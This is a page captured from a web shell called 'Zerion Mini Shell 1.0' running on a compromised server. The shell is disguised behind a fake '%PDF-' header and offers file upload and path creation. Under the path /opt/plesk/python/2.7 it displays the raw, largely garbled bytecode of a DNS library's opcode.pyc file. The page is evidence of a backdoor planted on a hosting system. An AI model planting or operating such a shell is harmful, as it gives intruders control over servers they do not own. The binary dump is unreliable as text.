%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pyc

�
�ac@s�dZddlZdZdZdZdZdZied6ed	6ed
6ed6ed6Zd
�ej	�D�Z
dejjfd��YZ
d�Zd�Zd�Zd�Zd�ZdS(sDNS Opcodes.i����NiiiiitQUERYtIQUERYtSTATUStNOTIFYtUPDATEcCsi|]\}}||�qS(((t.0txty((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pys
<dictcomp>-s	t
UnknownOpcodecBseZdZRS(sAn DNS opcode is unknown.(t__name__t
__module__t__doc__(((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pyR0scCse|j�r7t|�}|dkr7|dkr7|Sntj|j��}|dkrat�n|S(s�Convert text into an opcode.

    *text*, a ``text``, the textual opcode

    Raises ``dns.opcode.UnknownOpcode`` if the opcode is unknown.

    Returns an ``int``.
    iiN(tisdigittintt_by_texttgettuppertNoneR(ttexttvalue((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pyt	from_text4s
	cCs|d@d?S(spExtract an opcode from DNS message flags.

    *flags*, an ``int``, the DNS flags.

    Returns an ``int``.
    ixi((tflags((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pyt
from_flagsHscCs|d>d@S(s�Convert an opcode to a value suitable for ORing into DNS message
    flags.

    *value*, an ``int``, the DNS opcode value.

    Returns an ``int``.
    iix((R((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pytto_flagsSs	cCs.tj|�}|dkr*t|�}n|S(s�Convert an opcode to text.

    *value*, an ``int`` the opcode value,

    Raises ``dns.opcode.UnknownOpcode`` if the opcode is unknown.

    Returns a ``text``.
    N(t	_by_valueRRtstr(RR((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pytto_text_s
cCst|�tkS(smIs the opcode in flags UPDATE?

    *flags*, an ``int``, the DNS message flags.

    Returns a ``bool``.
    (RR(R((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pyt	is_updateos(Rt
dns.exceptiontdnsRRRRRRtitemsRt	exceptiontDNSExceptionRRRRRR(((s?/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/opcode.pyt<module>s&
				

Zerion Mini Shell 1.0